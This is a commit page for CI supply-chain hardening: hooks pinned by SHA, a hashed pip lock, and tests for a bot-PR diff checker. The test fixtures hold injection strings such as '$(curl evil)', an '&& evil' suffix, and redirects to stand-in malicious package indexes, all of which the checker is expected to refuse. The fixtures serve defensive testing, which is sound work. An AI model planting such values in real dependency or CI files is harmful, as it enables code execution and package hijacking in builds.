ci(deps): pin hook revisions by SHA and install dev tools from a hashed lock
Build / build (pull_request) Successful in 10s
Lint / lint (pull_request) Successful in 1m42s
Molecule / molecule (pull_request) Successful in 5m23s

Refs #113.

- .pre-commit-config.yaml: every hook repo is pinned by commit SHA with the release in a
  `# frozen:` comment, so a moved tag cannot change the code a hook environment is built from.
- requirements-dev.lock: hashed lock of requirements-dev.txt. Installs use
  `pip install --require-hashes -r requirements-dev.lock -r requirements-dev.txt` (dev-setup.sh,
  the ci image, the fallback install of Lint and Build): pip refuses an unhashed package and any
  disagreement between the two files.
- scripts/lock-requirements.sh regenerates the lock (pinned pip and pip-tools, --upgrade mode).
- renovate.json: the pip-compile manager replaces pip_requirements for the lock, plus a weekly,
  never automerged lock-file maintenance PR for transitive packages. Not yet dry-run on Renovate.
- check_bot_pr_diff.py accepts `rev: <sha>  # frozen: <tag>` and lock entries, hashes and plain
  comments, but not a changed pip-compile header command.
- ci image 0.2.18 -> 0.2.19 (image inputs changed).
This commit is contained in:
Dragonish committed 2026-11-14 16:52:38 +00:00
1 parent 7fa6c6754d
commit 4058978353
20 files changed
+1546 -46

No files matched your search

+59
View File
@@ -48,6 +48,50 @@ def run(cwd, *cmd):
)
H1, H2 = "a" * 64, "b" * 64
class LockRuleTest(unittest.TestCase):
def test_a_regenerated_lock_is_allowed(self):
removed = [
"reuse==6.2.0 \\",
f" --hash=sha256:{H1} \\",
" # via -r requirements-dev.txt",
]
added = [
"reuse==6.3.0 \\",
f" --hash=sha256:{H2}",
" # via -r requirements-dev.txt",
"newdep==1.0 ; python_version >= '3.13' \\",
" # via reuse",
"# This file is autogenerated by pip-compile with Python 3.14",
]
self.assertIsNone(cbd.file_problem("requirements-dev.lock", removed, added))
def test_the_header_command_may_not_change(self):
old = "# pip-compile --generate-hashes --output-file=requirements-dev.lock requirements-dev.txt"
new = old.replace("--generate-hashes", "--index-url=https://evil/simple")
self.assertIsNotNone(cbd.file_problem("requirements-dev.lock", [old], [new]))
self.assertIsNone(cbd.file_problem("requirements-dev.lock", [old], [old]))
def test_refused_lock_lines(self):
for line in (
"evil @ https://evil.example/x.tgz",
"--index-url https://evil/simple",
"-e .",
"evil>=1.0",
"evil==1.0 ; $(curl evil)",
" --hash=md5:" + "a" * 32,
" --hash=sha256:" + "a" * 63,
"# via $(curl evil)",
"# see `evil`",
):
with self.subTest(line=line):
self.assertIsNotNone(
cbd.file_problem("requirements-dev.lock", [], [line])
)
class RuleTest(unittest.TestCase):
def problem(self, path, old, new):
return cbd.file_problem(path, [old], [new])
@@ -62,6 +106,11 @@ class RuleTest(unittest.TestCase):
" version: 14.1.0",
),
(".pre-commit-config.yaml", " rev: v1.0.0", " rev: v1.1.0"),
(
".pre-commit-config.yaml",
" rev: v1.0.0",
f" rev: {'a' * 40} # frozen: v1.1.0",
),
(
"images/ci/Dockerfile",
f"FROM ubuntu:24.04@{D1} AS os",
@@ -117,6 +166,16 @@ class RuleTest(unittest.TestCase):
),
("requirements-dev.txt", "reuse==6.2.0", "reuse @ https://x/y.tgz"),
(".pre-commit-config.yaml", " rev: v1.0.0", " repo: https://evil/x"),
(
".pre-commit-config.yaml",
" rev: v1.0.0",
f" rev: {'a' * 40} # frozen: v1.1.0 && evil",
),
(
".pre-commit-config.yaml",
" rev: v1.0.0",
f" rev: {'a' * 40} # note",
),
(
"images/ci/Dockerfile",
f"FROM ubuntu:24.04@{D1} AS os",